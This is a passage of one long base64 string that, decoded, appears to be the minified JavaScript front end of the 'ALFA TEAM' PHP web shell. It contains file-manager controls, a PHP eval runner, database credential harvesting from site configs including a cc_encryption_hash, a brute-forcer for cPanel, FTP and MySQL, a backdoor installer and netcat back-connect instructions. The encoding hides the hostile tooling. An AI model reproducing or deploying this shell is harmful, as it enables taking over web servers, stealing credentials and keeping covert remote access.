GVuZCgiYWxmYTEiLGFsZmFiNjQoZS5hbGZhMS52YWx1ZSkpLGwuYXBwZW5kKCJjaGFyc2V0IixhbGZhYjY0KGUuY2hhcnNldC52YWx1ZSkpLGwuYXBwZW5kKCJhamF4IixhbGZhYjY0KGUuYWpheC52YWx1ZSkpLGUucXVlcnlTZWxlY3RvckFsbCgiaW5wdXRbdHlwZT1maWxlXSIpLmZvckVhY2goZnVuY3Rpb24oZSl7aWYoMD09ZS52YWx1ZS5sZW5ndGgpcmV0dXJuITE7aWYoZS5maWxlcy5sZW5ndGg+MSlmb3IodmFyIGE9MDthPGUuZmlsZXMubGVuZ3RoO2ErKylsLmFwcGVuZCgiZltdIixlLmZpbGVzW2FdKTtlbHNlIGwuYXBwZW5kKCJmW10iLGUuZmlsZXNbMF0pO3QrK30pLCQoImZvb3RlcnVwIikudmFsdWU9IiIsJCgiX19mbmFtZXVwIikuaW5uZXJIVE1MPSIiO2Zvcih2YXIgcj0xO3I8PXVwY291bnQ7cisrKXt2YXIgbj0kKCJwZm9vdGVydXBfIityKTtuJiZuLnBhcmVudE5vZGUucmVtb3ZlQ2hpbGQobiksdXBjb3VudC0tfWlmKDA9PXVwY291bnQmJnVwY291bnQrKywwPT10KXJldHVybiExO3ZhciBzPSJ1cF9iYXJfIitnZXRSYW5kb20oKTskKCJ1cF9iYXJfaG9sZGVyIikuaW5zZXJ0QWRqYWNlbnRIVE1MKCJiZWZvcmVlbmQiLCI8ZGl2IGlkPSciK3MrIicgY2xhc3M9J3VwX2Jhcic+PC9kaXY+Iik7ZS5jLnZhbHVlO2lmKHdpbmRvdy5YTUxIdHRwUmVxdWVzdD9hPW5ldyBYTUxIdHRwUmVxdWVzdDp3aW5kb3cuQWN0aXZlWE9iamVjdCYmKGE9bmV3IEFjdGl2ZVhPYmplY3QoIk1pY3Jvc29mdC5YTUxIVFRQIikpLGEpe3ZhciBjPSQocyk7X0FMRkFfQUpBWF9bc109YSxhLnVwbG9hZCYmKGMuc3R5bGUuZGlzcGxheT0iYmxvY2siLGEudXBsb2FkLm9ucHJvZ3Jlc3M9ZnVuY3Rpb24oZSl7dmFyIGE9ZS5wb3NpdGlvbnx8ZS5sb2FkZWQsdD1lLnRvdGFsU2l6ZXx8ZS50b3RhbCxpPU1hdGguZmxvb3IoYS90KjFlMykvMTArIiUiO2Muc3R5bGUud2lkdGg9aX0pLGEub25sb2FkPWZ1bmN0aW9uKGUpezIwMD09PWEuc3RhdHVzP2Muc3R5bGUuZGlzcGxheT0ibm9uZSI6YWxmYUFqYXhFcnJvcihhLnN0YXR1cywidXBsb2FkX2FyZWEiLGEuc3RhdHVzVGV4dCxhLnJlc3BvbnNlVGV4dCksYWxmYUNsZWFyQWpheChzKX0sYS5vbnJlYWR5c3RhdGVjaGFuZ2U9ZnVuY3Rpb24oKXtpZig0PT1hLnJlYWR5U3RhdGUmJjIwMD09YS5zdGF0dXMpe2lmKCJub3Blcm0iIT1hLnJlc3BvbnNlVGV4dCYmIltdIiE9YS5yZXNwb25zZVRleHQpe3ZhciBlLHQ9SlNPTi5wYXJzZShhLnJlc3BvbnNlVGV4dCksbD0iIixyPWQucXVlcnlTZWxlY3RvckFsbCgiIyIrbysiICNmaWxlbWFuYWdlcl90YWJsZSB0ciIpLmxlbmd0aC0zO2ZvcihlIGluIHQpeysrcjt2YXIgbj10W2VdLm5hbWUscz1lbmNvZGVVUklDb21wb25lbnQobiksYz10W2VdLnNpemUsZj10W2VdLnBlcm0sXz10W2VdLm1vZGlmeSx1PXRbZV0ub3duZXIscD1sb2FkVHlwZShuLCJmaWxlIik7dHJ5e2QucXVlcnlTZWxlY3RvcigiIyIrbysiIC5mbWFuYWdlci1yb3cgYVtmbmFtZT0nIituKyInXSIpLnBhcmVudEVsZW1lbnQucGFyZW50RWxlbWVudC5wYXJlbnRFbGVtZW50LnJlbW92ZSgpfWNhdGNoKGUpe31sKz0nPHRyIGNsYXNzPSJmbWFuYWdlci1yb3ciIGlkPSJ0cl9yb3dfJytyKyciPjx0ZD48ZGl2IGNsYXNzPSJteUNoZWNrYm94Ij48aW5wdXQgdHlwZT0iY2hlY2tib3giIG5hbWU9ImZbXSIgdmFsdWU9IicrbisnIiBjbGFzcz0iY2hrYngiIGlkPSJjaGVja2JveCcrcisnIj48bGFiZWwgZm9yPSJjaGVja2JveCcrcisnIj48L2xhYmVsPjwvZGl2PjwvdGQ+PHRkIGlkPSJ0ZF9yb3dfJytyKyciPicrcCsnPGRpdiBzdHlsZT0icG9zaXRpb246cmVsYXRpdmU7ZGlzcGxheTppbmxpbmUtYmxvY2s7Ym90dG9tOjEycHg7Ij48YSByb3c9IicrcisnIiBpZD0iaWRfJytyKyciIGNsYXNzPSJtYWluX25hbWUiIG9uY2xpY2s9ImVkaXRvcihcJycrcysiJywnYXV0bycsJycsJycsJycsJ2ZpbGUnKTtcIiBocmVmPVwiI2FjdGlvbj1maWxlbWFuJmFtcDtwYXRoPSIrY18rIiZhbXA7ZmlsZT0iK3MrJyIgZm5hbWU9IicrbisnIiBmdHlwZT0iZmlsZSIgcGF0aD0iJytjXysnIiBvcHRfdGl0bGU9IiI+JytuKyc8L2E+PC9kaXY+PC90ZD48dGQ+PHNwYW4gc3R5bGU9ImZvbnQtd2VpZ2h0OnVuc2V0OyIgY2xhc3M9Im1haW5fc2l6ZSI+JytjKyc8L3NwYW4+PC90ZD48dGQ+PHNwYW4gc3R5bGU9ImZvbnQtd2VpZ2h0OnVuc2V0OyIgY2xhc3M9Im1haW5fbW9kaWZ5Ij4nK18rJzwvc3Bhbj48L3RkPjx0ZD48c3BhbiBzdHlsZT0iZm9udC13ZWlnaHQ6dW5zZXQ7IiBjbGFzcz0ibWFpbl9vd25lcl9ncm91cCI+Jyt1Kyc8L3NwYW4+PC90ZD48dGQ+PGEgaWQ9ImlkX2NobW9kZV8nK3IrJyIgaHJlZj0iamF2YXNjcmlwdDp2b2lkKDApIiBvbmNsaWNrPSJlZGl0b3IoXCcnK3MrIicsJ2NobW9kJywnJywnJywnJywnZmlsZScpXCI+IitmKyc8L2E+PC90ZD48dGQ+PGEgaWQ9ImlkX3JlbmFtZV8nK3IrJyIgdGl0bGU9IlJlbmFtZSIgY2xhc3M9ImFjdGlvbnMiIGhyZWY9ImphdmFzY3JpcHQ6dm9pZCgwKTsiIG9uY2xpY2s9ImVkaXRvcihcJycrcysiJywgJ3JlbmFtZScsJycsJycsJycsJ2ZpbGUnKVwiPlI8L2E+IDxhIGlkPVwiaWRfdG91Y2hfIityKyciIHRpdGxlPSJNb2RpZnkgRGF0ZXRpbWUiIGNsYXNzPSJhY3Rpb25zIiBocmVmPSJqYXZhc2NyaXB0OnZvaWQoMCk7IiBvbmNsaWNrPSJlZGl0b3IoXCcnK3MrIicsICd0b3VjaCcsJycsJycsJycsJ2ZpbGUnKVwiPlQ8L2E+IDxhIGlkPVwiaWRfZWRpdF8iK3IrJyIgY2xhc3M9ImFjdGlvbnMiIHRpdGxlPSJFZGl0IiBocmVmPSJqYXZhc2NyaXB0OnZvaWQoMCk7IiBvbmNsaWNrPSJlZGl0b3IoXCcnK3MrIicsICdlZGl0JywnJywnJywnJywnZmlsZScpXCI+RTwvYT4gPGEgaWQ9XCJpZF9kb3dubG9hZF8iK3IrJyIgdGl0bGU9IkRvd25sb2FkIiBjbGFzcz0iYWN0aW9ucyIgaHJlZj0iamF2YXNjcmlwdDp2b2lkKDApOyIgb25jbGljaz0iZyhcJ0ZpbGVzVG9vbHNcJyxudWxsLFwnJytuKyInLCAnZG93bmxvYWQnKVwiPkQ8L2E+PGEgaWQ9XCJpZF9kZWxldGVfIityKyciIHRpdGxlPSJEZWxldGUiIGNsYXNzPSJhY3Rpb25zIiBocmVmPSJqYXZhc2NyaXB0OnZvaWQoMCk7IiBvbmNsaWNrPSJ2YXIgY2hrID0gY29uZmlybShcJ0FyZSBZb3UgU3VyZSBGb3IgRGVsZXRlICMgJytzKyIgIyA/Jyk7IGNoayA/IGcoJ0ZpbGVzTWFuJyxudWxsLCdkZWxldGUnLCAnIitzKyInKSA6ICcnO1wiPiBYIDwvYT48L3RkPjwvdHI+In1kLnF1ZXJ5U2VsZWN0b3IoIiMiK28rIiAjZmlsZW1hbmFnZXJfbGFzdF90ciIpLmluc2VydEFkamFjZW50SFRNTCgiYmVmb3JlYmVnaW4iLGwpLGFsZmFTaG93Tm90aWZpY2F0aW9uKCJGaWxlKHMpIHVwbG9hZGVkIHN1Y2Nlc3NmdWxseSIsIlVwbG9hZGVyIiksYWxmYUZtbmdyQ29udGV4dFJvdygpfWVsc2UgYWxmYVNob3dOb3RpZmljYXRpb24oIkZvbGRlciBoYXMgbm8gcGVybWlzc2lvbi4uLiIsIlVwbG9hZGVyIiwiZXJyb3IiKTthbGZhQ2hlY2tDdXJyZW50RmlsZXNNYW5UYWIoaSl9fSxhLm9wZW4oIlBPU1QiLGQuVVJMKSxhLnNlbmQobCl9fWZ1bmN0aW9uIGFsZmFDaGVja0N1cnJlbnRGaWxlc01hblRhYihlKXstMT09JCgiZmlsZXNtYW5fdGFiXyIrZSkuY2xhc3NMaXN0LnZhbHVlLmluZGV4T2YoImZpbGVzbWFuLXRhYi1hY3RpdmUiKSYmJCgiZmlsZXNtYW5fdGFiXyIrZSkuY2xhc3NMaXN0LmFkZCgidGFiLWlzLWRvbmUiKX1mdW5jdGlvbiBnKGEsYyxhbGZhMSxhbGZhMixhbGZhMyxhbGZhNCxhbGZhNSxhbGZhNixhbGZhNyxhbGZhOCxhbGZhOSxhbGZhMTAsY2hhcnNldCl7dmFyIGZtX2lkPTA9PWFsZmFfZm1faWQ/YWxmYV9jdXJyZW50X2ZtX2lkOmFsZmFfZm1faWQsZm1faWQyPWFsZmFfZm1faWQsZm1fcGF0aD1udWxsPT1jfHwwPT1jLmxlbmd0aD9jXzpjLGRfbWZfYz1mbV9wYXRoLGdfYWN0aW9uX2lkPWFsZmFfYmVmb3JlX2RvX2FjdGlvbl9pZDswPT1hbGZhX2ZtX2lkJiYoc2V0KGEsYyxhbGZhMSxhbGZhMixhbGZhMyxhbGZhNCxhbGZhNSxhbGZhNixhbGZhNyxhbGZhOCxhbGZhOSxhbGZhMTAsY2hhcnNldCksZF9tZl9jPWQubWYuYy52YWx1ZSksIkdldENvbmZpZyIhPWEmJiJkb3dubG9hZCIhPWFsZmEyJiZpc2xpbnV4JiYiLyIhPWRfbWZfYy5zdWJzdHIoMCwxKSYmKGRfbWZfYz0iLyIrZF9tZl9jKSwiRmlsZXNNYW4iPT1hPyhhbGZhbG9hZGVyKCJmaWxlc21hbl9ob2xkZXJfIitmbV9pZCwiYmxvY2siKSxnX2FjdGlvbl9pZD0iZmlsZXNtYW5faG9sZGVyXyIrZm1faWQpOiIiIT1nX2FjdGlvbl9pZD9hbGZhbG9hZGVyKGdfYWN0aW9uX2lkLCJibG9jayIpOiJGaWxlc1Rvb2xzIiE9YSYmImRvd25sb2FkIiE9YWxmYTImJiJHZXRDb25maWciIT1hJiYoInNxbCI9PWE/KHNob3dFZGl0b3IoImRhdGFiYXNlX3dpbmRvdyIpLGdfYWN0aW9uX2lkPWxvYWRQb3BVcERhdGFiYXNlKCIiKSk6IkZpbGVzTWFuIiE9YSYmKHNob3dFZGl0b3IoIm9wdGlvbnNfd2luZG93IiksZ19hY3Rpb25faWQ9bG9hZFBvcFVwT3BUaW9ucyhhKSksYWxmYWxvYWRlcihnX2FjdGlvbl9pZCwiYmxvY2siKSk7Zm9yKHZhciBkYXRhPSJhPSIrYWxmYWI2NChhKSsiJmM9IithbGZhYjY0KGRfbWZfYykrIiYiLGk9MTtpPD0xMDtpKyspZGF0YSs9ImFsZmEiK2krIj0iK2FsZmFiNjQoZXZhbCgiZC5tZi5hbGZhIitpKyIudmFsdWUiKSkrIiYiO2lmKCJGaWxlc01hbiI9PWEpe3ZhciBwYWdlbnVtPWQucXVlcnlTZWxlY3RvcigiIyIrZ19hY3Rpb25faWQrIiAucGFnZS1udW1iZXIuYWN0aXZlLXBhZ2UtbnVtYmVyIik7bnVsbCE9cGFnZW51bSYmKGRhdGErPSJwYWdlbnVtPSIrYWxmYWI2NChnZXRDb29raWUoZ19hY3Rpb25faWQrIl9wYWdlX251bWJlciIpKSxzZXRDb29raWUoZ19hY3Rpb25faWQrIl9wYWdlX251bWJlciIsMSwyMDEyKSl9aWYoZGF0YSs9IiZhamF4PSIrYWxmYWI2NCgidHJ1ZSIpLCJGaWxlc1Rvb2xzIj09YSYmImRvd25sb2FkIj09YWxmYTIpe2FsZmFMb2FkZXJPblRvcCgibm9uZSIpO3ZhciBkbD0kKCJkbEZvcm0iKTtyZXR1cm4gZGwuYS52YWx1ZT1hbGZhYjY0KCJkbGZpbGUiKSxkbC5jLnZhbHVlPWFsZmFiNjQoZF9tZl9jKSxkbC5maWxlLnZhbHVlPWFsZmFiNjQoYWxmYTEpLHZvaWQgZGwuc3VibWl0KCl9IkdldENvbmZpZyIhPWE/KF9BamF4KGQuVVJMLGRhdGEsZnVuY3Rpb24oZSx0KXtldmFsSlMoZSk7dmFyIGk9ITE7aWYoYWxmYUxvYWRlck9uVG9wKCJub25lIiksInNxbCI9PWEpcmV0dXJuIGNvbnNvbGUubG9nKHQpLGxvYWRQb3BVcERhdGFiYXNlKGUsdCksITE7aWYoIkZpbGVzTWFuIj09YSl7YWxmYWxvYWRlcigiZmlsZXNtYW5faG9sZGVyXyIrZm1faWQsIm5vbmUiKSxkLnF1ZXJ5U2VsZWN0b3IoIiNmaWxlc21hbl9ob2xkZXJfIitmbV9pZCkuaW5uZXJIVE1MPWUsZm1fcGF0aD1mbV9wYXRoLnJlcGxhY2UoL1wvXC8vZywiLyIpLCQoImZpbGVzbWFuX3RhYl8iK2ZtX2lkKS5zZXRBdHRyaWJ1dGUoInBhdGgiLGZtX3BhdGgpO3ZhciBsPWFsZmFHZXRMYXN0Rm9sZGVyTmFtZShmbV9wYXRoKTtkLnF1ZXJ5U2VsZWN0b3IoIiNmaWxlc21hbl90YWJfIitmbV9pZCsiIHNwYW4iKS5pbm5lckhUTUw9bCxhbGZhRm1uZ3JDb250ZXh0Um93KCksImZ1bmN0aW9uIj09dHlwZW9mIGFsZmExJiZhbGZhMShlKSxhbGZhQ2hlY2tDdXJyZW50RmlsZXNNYW5UYWIoZm1faWQpfWVsc2Uob3B0aW9uc193aW5kb3dfaXNfbWluaW1pemVkfHwiLiI9PXQuc3Vic3RyKDAsMSkpJiYiLiI9PXQuc3Vic3RyKDAsMSkmJihpPSEwLHQ9dC5zdWJzdHIoMSksc2hvd0VkaXRvcigib3B0aW9uc193aW5kb3ciKSksaXx8YWxmYWxvYWRlcih0LCJub25lIiksbG9hZFBvcFVwT3BUaW9ucyh0LGUpLCJwaHBldmFsIj09YSYmYWxmYUxvYWRBY2VFZGl0b3IoIlBocENvZGUiKSwiY29sZHVtcGVyIj09YS5zdWJzdHIoMCw5KSYmYWxmYUNvbER1bXBlckluaXQoKX0sITEsIiI9PWdfYWN0aW9uX2lkPyIuIithOmdfYWN0aW9uX2lkKSxnX2FjdGlvbl9pZD0iIiwwPT1mbV9pZDImJmMhPWNfJiZjJiZpbml0RGlyKGMpKTooYWxmYWxvYWRlcihhbGZhMywiYmxvY2siKSxfQWpheChkLlVSTCxkYXRhLGZ1bmN0aW9uKGUsYSl7dmFyIHQ9YTthPWQucXVlcnlTZWxlY3RvcigiIyIrKCJpZF9kYiIhPWEuc3Vic3RyKDAsNSk/Im9wdGlvbl8iK2E6YSkpO3RyeXsoZT1KU09OLnBhcnNlKGUpKS5ob3N0JiZlLnVzZXImJmUuZGJuYW1lJiYoJCgiZGJfaG9zdCIpJiYoYS5xdWVyeVNlbGVjdG9yKCIjZGJfaG9zdCIpLnZhbHVlPWUuaG9zdCksJCgiZGJfdXNlciIpJiYoYS5xdWVyeVNlbGVjdG9yKCIjZGJfdXNlciIpLnZhbHVlPWUudXNlciksJCgiZGJfbmFtZSIpJiYoYS5xdWVyeVNlbGVjdG9yKCIjZGJfbmFtZSIpLnZhbHVlPWUuZGJuYW1lKSwkKCJkYl9wdyIpJiYoYS5xdWVyeVNlbGVjdG9yKCIjZGJfcHciKS52YWx1ZT1lLnBhc3N3b3JkKSwkKCJkYl9wcmVmaXgiKSYmZS5wcmVmaXgmJihhLnF1ZXJ5U2VsZWN0b3IoIiNkYl9wcmVmaXgiKS52YWx1ZT1lLnByZWZpeCksJCgiY2NfZW5jcnlwdGlvbl9oYXNoIikmJmUuY2NfZW5jcnlwdGlvbl9oYXNoJiYoYS5xdWVyeVNlbGVjdG9yKCIjY2NfZW5jcnlwdGlvbl9oYXNoIikudmFsdWU9ZS5jY19lbmNyeXB0aW9uX2hhc2gpKX1jYXRjaChlKXt9YWxmYWxvYWRlcih0LCJub25lIil9LCExLGFsZmEzKSl9ZnVuY3Rpb24gYWxmYUdldExhc3RGb2xkZXJOYW1lKGUpe3ZhciBhPWUucmVwbGFjZSgvXC9cLy9nLCIvIikuc3BsaXQoIi8iKTtmb3IodmFyIHQgaW4gYSkwPT1hW3RdLmxlbmd0aCYmYS5zcGxpY2UodCwxKTt2YXIgaT1hW2EubGVuZ3RoLTFdO3JldHVybiAwPT1pLmxlbmd0aCYmKGk9Ii8iKSxpfWZ1bmN0aW9uIGFsZmFsb2FkZXIoZSxhKXtpZigwPT1lLmxlbmd0aClyZXR1cm4hMTt0cnl7dmFyIHQ9JCgibG9hZGVyXyIrZSk7aWYobnVsbD09dCYmImJsb2NrIj09YSl7dmFyIGk9bnVsbDsiZWRpdG9yIj09ZT9pPWQucXVlcnlTZWxlY3RvcigiI2VkaXRvciAuZWRpdG9yLW1vZGFsIik6ImlkX2RiIj09ZS5zdWJzdHIoMCw1KT9pPSQoZSk6InRlcm1pbmFsX2lkIj09ZS5zdWJzdHIoMCwxMSk/aT0kKGUpOiJlZGl0b3IiPT1lLnN1YnN0cigwLDYpP2k9JChlKToiY2dpZnJhbWUiPT1lP2k9JCgiY2dpZnJhbWUiKToiZmlsZXNtYW5faG9sZGVyIj09ZS5zdWJzdHIoMCwxNSk/KGk9JChlKSkuc3R5bGUubWluSGVpZ2h0PSIzMDBweCI6aT0kKCJvcHRpb25fIitlKSxpLmluc2VydEFkamFjZW50SFRNTCgiYWZ0ZXJiZWdpbiIsIjxkaXYgaWQ9J2xvYWRlcl8iK2UrJ1wnIGNsYXNzPSJvcHRpb25zLWxvYWRlci1ob2xkZXIiPjxkaXYgcGFyZW50PSInK2UrJyIgb25jbGljaz0iYWxmYUFqYXhDb250cm9sbGVyKHRoaXMpOyIgY2xhc3M9InN0b3BBamF4Ij5bIFN0b3AgaXQgXTwvZGl2PjxkaXYgY2xhc3M9ImFsZmF0ZWFtLWxvYWRlci10ZXh0Ij5BTEZBIFRFQU08L2Rpdj48ZGl2IGNsYXNzPSJhbGZhLWFqYXgtZXJyb3IiPjwvZGl2PjxpbWcgc3JjPVwnaHR0cDovL3NvbGV2aXNpYmxlLmNvbS9pbWFnZXMvbG9hZGVyLnN2Z1wnPjwvZGl2PicpfWVsc2UiZmlsZXNtYW5faG9sZGVyIj09ZS5zdWJzdHIoMCwxNSkmJigkKGUpLnN0eWxlLm1pbkhlaWdodD0iMCIpLG51bGwhPXQmJih0LnN0eWxlLmRpc3BsYXk9YSl9Y2F0Y2goZSl7fX1mdW5jdGlvbiBmcyhlKXt2YXIgYT1lLmdldEF0dHJpYnV0ZSgiZGJfaWQiKSx0PWQucXVlcnlTZWxlY3RvcigiIyIrYSsiIGRpdi5zZiIpO215c3FsX2NhY2hlLmhhc093blByb3BlcnR5KGEpfHwobXlzcWxfY2FjaGVbYV09e30pLGFsZmFsb2FkZXIoYSwiYmxvY2siKTt2YXIgaT10LnF1ZXJ5U2VsZWN0b3IoImlucHV0W25hbWU9c3FsX2hvc3RdIikudmFsdWUsbD10LnF1ZXJ5U2VsZWN0b3IoImlucHV0W25hbWU9c3FsX2xvZ2luXSIpLnZhbHVlLG89dC5xdWVyeVNlbGVjdG9yKCJpbnB1dFtuYW1lPXNxbF9wYXNzXSIpLnZhbHVlLHI9dC5xdWVyeVNlbGVjdG9yKCJpbnB1dFtuYW1lPXNxbF9iYXNlXSIpP3QucXVlcnlTZWxlY3RvcigiaW5wdXRbbmFtZT1zcWxfYmFzZV0iKS52YWx1ZTp0LnF1ZXJ5U2VsZWN0b3IoInNlbGVjdFtuYW1lPXNxbF9iYXNlXSIpLnZhbHVlLG49dC5xdWVyeVNlbGVjdG9yKCJzZWxlY3RbbmFtZT10eXBlXSIpLnZhbHVlLHM9dC5xdWVyeVNlbGVjdG9yKCJpbnB1dFtuYW1lPXNxbF9jb3VudF0iKS5jaGVja2VkPyJ0cnVlIjoiIjtfQWpheChkLlVSTCwiYT0iK2FsZmFiNjQoIlNxbCIpKyImYWxmYTE9IithbGZhYjY0KCJxdWVyeSIpKyImYWxmYTI9JmM9IithbGZhYjY0KGNfKSsiJmNoYXJzZXQ9IithbGZhYjY0KCJVVEYtOCIpKyImdHlwZT0iK2FsZmFiNjQobikrIiZzcWxfaG9zdD0iK2FsZmFiNjQoaSkrIiZzcWxfbG9naW49IithbGZhYjY0KGwpKyImc3FsX3Bhc3M9IithbGZhYjY0KG8pKyImc3FsX2Jhc2U9IithbGZhYjY0KHIpKyImc3FsX2NvdW50PSIrYWxmYWI2NChzKSsiJmN1cnJlbnRfbXlzcWxfaWQ9IithbGZhYjY0KGEpKyImYWpheD0iK2FsZmFiNjQoInRydWUiKSxmdW5jdGlvbihlLGEpe2xvYWRQb3BVcERhdGFiYXNlKGUsYSksZXZhbEpTKGUpLGFsZmFsb2FkZXIoYSwibm9uZSIpfSwhMSxhKX1mdW5jdGlvbiBjdGxiYyhlKXt2YXIgYT0kKCJiY1N0YXR1cyIpLHQ9JCgiYmNpcEFjdGlvbiIpOyJiaW5kIj09ZS52YWx1ZT8odC5zdHlsZS5kaXNwbGF5PSJub25lIixhLmlubmVySFRNTD0iPHNtYWxsPlByZXNzIGAgPGZvbnQgY29sb3I9J3JlZCc+Pj48L2ZvbnQ+IGAgYnV0dG9uIGFuZCBydW4gYCA8Zm9udCBjb2xvcj0ncmVkJz5uYyBzZXJ2ZXJfaXAgcG9ydDwvZm9udD4gYCBvbiB5b3VyIGNvbXB1dGVyPC9zbWFsbD4iKToodC5zdHlsZS5kaXNwbGF5PSJpbmxpbmUtYmxvY2siLGEuaW5uZXJIVE1MPSI8c21hbGw+UnVuIGAgPGZvbnQgY29sb3I9J3JlZCc+bmMgLWwgLXYgLXAgcG9ydDwvZm9udD4gYCBvbiB5b3VyIGNvbXB1dGVyIGFuZCBwcmVzcyBgIDxmb250IGNvbG9yPSdyZWQnPj4+PC9mb250PiBgIGJ1dHRvbjwvc21hbGw+Iil9ZnVuY3Rpb24gJChlKXtyZXR1cm4gZC5nZXRFbGVtZW50QnlJZChlKX1mdW5jdGlvbiBhZGRuZXd1cCgpe3ZhciBlPSJmb290ZXJ1cF8iK3VwY291bnQsYT0icGZvb3RlcnVwXyIrdXBjb3VudCx0PTEhPXVwY291bnQ/InBmb290ZXJ1cF8iKyh1cGNvdW50LTEpOiJwZm9vdGVydXAiLGk9ZC5jcmVhdGVFbGVtZW50KCJwIik7aS5pbm5lckhUTUw9JzxsYWJlbCBjbGFzcz0iaW5wdXRmaWxlIiBmb3I9IicrZSsnIj48c3BhbiBpZD0iX19mbmFtZXVwJyt1cGNvdW50KyciPjwvc3Bhbj4gPHN0cm9uZz4mbmJzcDsmbmJzcDtDaG9vc2UgYSBmaWxlPC9zdHJvbmc+PC9sYWJlbD48aW5wdXQgaWQ9IicrZSsnIiB0eXBlPSJmaWxlIiBuYW1lPSJmW10iIG9uQ2hhbmdlPSJoYW5kbGV1cCh0aGlzLCcrdXBjb3VudCsnKTsiIG11bHRpcGxlPicsaS5pZD1hLGkuYXBwZW5kQWZ0ZXIoJCh0KSksdXBjb3VudCsrfWZ1bmN0aW9uIGFsZmFfc2VhcmNoZXJfdG9vbChlKXtzd2l0Y2goZSl7Y2FzZSJhbGwiOmNhc2UiZGlycyI6X2FsZmFTZXQoITAsIkRpc2FibGVkIik7YnJlYWs7Y2FzZSJmaWxlcyI6X2FsZmFTZXQoITEsInBocCIpfX1mdW5jdGlvbiBfYWxmYVNldChlLGEpe2Quc3JjaC5leHQuZGlzYWJsZWQ9ZSxkLnNyY2guZXh0LnZhbHVlPWF9ZnVuY3Rpb24gZGlzX2lucHV0KGUpe3N3aXRjaChlKXtjYXNlInBocG15YWRtaW4iOmJydXRlU2V0KCEwLCJEaXNhYmxlZCIsImh0dHA6Ly8iKTticmVhaztjYXNlImRpcmVjdCI6YnJ1dGVTZXQoITEsIjIyMjIiLCJodHRwOi8vIik7YnJlYWs7Y2FzZSJjcCI6YnJ1dGVTZXQoITEsIjIwODIiLCJodHRwOi8vIik7YnJlYWs7Y2FzZSJmdHAiOmJydXRlU2V0KCEwLCJEaXNhYmxlZCIsImZ0cDovLyIpO2JyZWFrO2Nhc2UibXlzcWwiOmJydXRlU2V0KCExLCIzMzA2IiwiaHR0cDovLyIpO2JyZWFrO2Nhc2UiZnRwYyI6YnJ1dGVTZXQoITEsIjIxIiwiaHR0cDovLyIpfX1mdW5jdGlvbiBicnV0ZVNldChlLGEsdCl7Yz0iMjEiIT1hPyJsb2NhbGhvc3QiOiJmdHAuZXhhbXBsZS5jb20iLCQoInBvcnQiKS5kaXNhYmxlZD1lLCQoInBvcnQiKS52YWx1ZT1hLCQoInRhcmdldCIpLnZhbHVlPWMsJCgicHJvdG9jb2wiKS52YWx1ZT10fWZ1bmN0aW9uIGluQmFja2Rvb3IoZSl7Im15Ij09ZS52YWx1ZT8kKCJiYWNrZG9vcl90ZXh0YXJlYSIpLnN0eWxlLmRpc3BsYXk9ImJsb2NrIjokKCJiYWNrZG9vcl90ZXh0YXJlYSIpLnN0eWxlLmRpc3BsYXk9Im5vbmUifWZ1bmN0aW9uIHNhdmVCeUtleShlKXtyZXR1cm4hKCJzIj09U3RyaW5nLmZyb21DaGFyQ29kZShlLndoaWNoKS50b0xvd2VyQ2FzZSgpJiZlLmN0cmxLZXl8fDE5PT1lLndoaWNoKXx8KCQoImVkaXRvcl9lZGl0X2FyZWEiKS5vbnN1Ym1pdCgpLGUucHJldmVudERlZmF1bHQoKSwhMSl9ZnVuY3Rpb24gYWxmYUFqYXhFcnJvcihlLGEsdCxpKXtpZih2b2lkIDAhPT1hKXt2YXIgbD1kLnF1ZXJ5U2VsZWN0b3IoIiNsb2FkZXJfIithKTtudWxsIT1sJiYoZmlyZXdhbGw9IiIsNDAzPT1lJiYoZmlyZXdhbGw9IiB+IEZpcmVXYWxsIERldGVjdGVkISIpLGwucXVlcnlTZWxlY3RvcigiaW1nIikucmVtb3ZlKCksbC5xdWVyeVNlbGVjdG9yKCIuYWxmYS1hamF4LWVycm9yIikuaW5uZXJIVE1MPWUrIiAoICIrdCtmaXJld2FsbCsiICkiLGFsZmFTaG93Tm90aWZpY2F0aW9uKHQsIkFqYXgiLCJlcnJvciIpKX19ZnVuY3Rpb24gYWxmYUluaXRDd2RDb250ZXh0KCl7ZC5xdWVyeVNlbGVjdG9yQWxsKCIuaGVhZGVyX3B3ZCIpLmZvckVhY2goZnVuY3Rpb24oZSl7ZS5hZGRFdmVudExpc3RlbmVyKCJjb250ZXh0bWVudSIsZnVuY3Rpb24oZSl7dmFyIGE9ZS50YXJnZXQuZ2V0QXR0cmlidXRlKCJwYXRoIiksdD1kLnF1ZXJ5U2VsZWN0b3IoIiNyaWdodGNsaWNrX21lbnUgPiBhW25hbWU9bmV3dGFiXSIpO3Quc2V0QXR0cmlidXRlKCJocmVmIiwiamF2YXNjcmlwdDp2b2lkKDApOyIpLHQucmVtb3ZlQXR0cmlidXRlKCJ0YXJnZXQiKSx0Lm9uY2xpY2s9ZnVuY3Rpb24oKXthbGZhRmlsZXNNYW5OZXdUYWIoYSwiLyIpfTt2YXIgaT1lLmNsaWVudFgsbD1lLmNsaWVudFk7YWxmYVNvcnRNZW51SXRlbXMoWyJuZXd0YWIiXSksYWxmYVJpZ2h0Q2xpY2tNZW51KGksbCksZS5wcmV2ZW50RGVmYXVsdCgpfSl9KX1mdW5jdGlvbiBhbGZhUmlnaHRDbGlja01lbnUoZSxhKXtyaWdodGNsaWNrX21lbnVfY29udGV4dC50b3A9YSsicHgiLHJpZ2h0Y2xpY2tfbWVudV9jb250ZXh0LmxlZnQ9ZSsicHgiLHJpZ2h0Y2xpY2tfbWVudV9jb250ZXh0LnZpc2liaWxpdHk9InZpc2libGUiLHJpZ2h0Y2xpY2tfbWVudV9jb250ZXh0Lm9wYWNpdHk9IjEifWZ1bmN0aW9uIGFsZmFTb3J0TWVudUl0ZW1zKGUpe3ZhciBhPVsibmV3dGFiIiwibGluayIsImRvd25sb2FkIiwidmlldyIsImVkaXQiLCJtb3ZlIiwiY29weSIsInJlbmFtZSIsIm1vZGlmeSIsInBlcm1pc3Npb24iLCJjb21wcmVzcyIsImV4dHJhY3QiLCJkZWxldGUiLCJ2aWV3X2FyY2hpdmUiXSx0PSExO2Zvcih2YXIgaSBpbiBhKXtmb3IodmFyIGwgaW4gdD0hMSxlKWFbaV0hPWVbbF18fChkLnF1ZXJ5U2VsZWN0b3IoIiNyaWdodGNsaWNrX21lbnUgPiBhW25hbWU9IithW2ldKyJdIikuc3R5bGUuZGlzcGxheT0iYmxvY2siLHQ9ITApO3R8fChkLnF1ZXJ5U2VsZWN0b3IoIiNyaWdodGNsaWNrX21lbnUgPiBhW25hbWU9IithW2ldKyJdIikuc3R5bGUuZGlzcGxheT0ibm9uZSIpfX1mdW5jdGlvbiBhbGZhQWNlQ2hhbmdlU2V0dGluZyhlLGE